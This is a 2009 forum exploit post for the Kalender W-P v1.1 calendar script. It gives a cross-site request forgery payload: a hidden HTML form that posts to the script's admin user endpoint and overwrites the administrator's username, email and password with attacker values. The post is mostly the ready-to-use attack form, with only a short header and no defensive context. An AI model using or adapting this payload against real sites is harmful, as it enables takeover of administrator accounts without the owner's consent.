Kalender W-P Admin pass ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Kalender W-P Admin pass ~ XSRF Vuln.

Madde
	Author : Bug Researchers/Fl0riX
	Date : 04.11.2009 23:52:59
	# Kalender W-P Admin pass ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name :Kalender W-P v1.1 # Vulnerable Type : XSRF # Infection : Uzaktan otomatik olarak admin bilgileri degistirebilinir. # author : Fl0riX - Bug Researchers # Demo : http://www.web-php.de/demo/100017/event.php ############################################################# < ------------------- header data end of ------------------- > <form method=post action=http://www.site/[PATH]/100017/event_intern.php?action=user_2> <input type=hidden name=send value=1a> <input type=hidden name=user_id value=1> <input type=text class=input name=benutzername value=Fl0riXsize=30> ><input type=text class=input name=emailvalue=Fl0riX@bugresearchers.orgsize=30> <input type=text class=input name=passwort value=Fl0riX size=30> <input class=ab name=B1 type=Submit value=attackFl0baba> </form> < -- bug code end of -- >